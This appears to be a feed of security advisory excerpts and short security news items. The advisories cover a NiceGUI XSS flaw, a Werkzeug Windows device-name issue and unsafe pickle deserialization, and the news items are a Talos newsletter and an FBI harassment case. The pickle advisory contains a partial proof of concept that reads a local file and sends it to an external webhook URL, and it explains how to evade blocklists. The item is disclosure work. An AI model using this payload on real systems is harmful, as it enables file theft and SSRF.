### Summary XSS risk exists in NiceGUI when developers pass attacker-controlled strings into `ui.navigate.history.push()` or `ui.navigate.history.replace()`. These helpers are documented as History API wrappers for updating the browser URL without page reload. However, if the URL argument is embedded into generated JavaScript without proper escaping, a crafted payload can break out of the intended string context and execute arbitrary JavaScript in the victim’s browser. **Applications that do not pass untrusted input into `ui.navigate.history.push/replace` are not affected.** ### Details NiceGUI provides `ui.navigate.history.push(url)` and `ui.navigate.history.replace(url)` to update the URL using the browser History API. If an application forwards user-controlled data (e.g., URL path segments, query parameters like `next=...`, form values, etc.) into these methods, an attacker can inject characters such as quotes and statement terminators to escape the JavaScript string context and e...

Werkzeug's `safe_join` function allows path segments with Windows device names that have file extensions or trailing spaces. On Windows, there are special device names such as `CON`, `AUX`, etc that are implicitly present and readable in every directory. Windows still accepts them with any file extension, such as `CON.txt`, or trailing spaces such as `CON `. This was previously reported as https://github.com/pallets/werkzeug/security/advisories/GHSA-hgf8-39gv-g3f2, but the fix failed to account for compound extensions such as `CON.txt.html` or trailing spaces. It also missed some additional special names. `send_from_directory` uses `safe_join` to safely serve files at user-specified paths under a directory. If the application is running on Windows, and the requested path ends with a special device name, the file will be opened successfully, but reading will hang indefinitely.

Talos' editor ditches the pressure of traditional New Year’s resolutions in favor of practical, in-the-moment changes, and finds more success by letting go of perfection. Plus, we break down the latest on UAT-7290, a newly disclosed threat actor targeting critical infrastructure.

A 25-year-old Bigfork, Montana man, Jeremiah Daniel Starr, used over 50 phone numbers and a VPN to harass a victim he called his "best friend," even staging a fake shooting. Learn more about the FBI investigation that traced 1,100 IP addresses to bring him to justice.

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) wi...
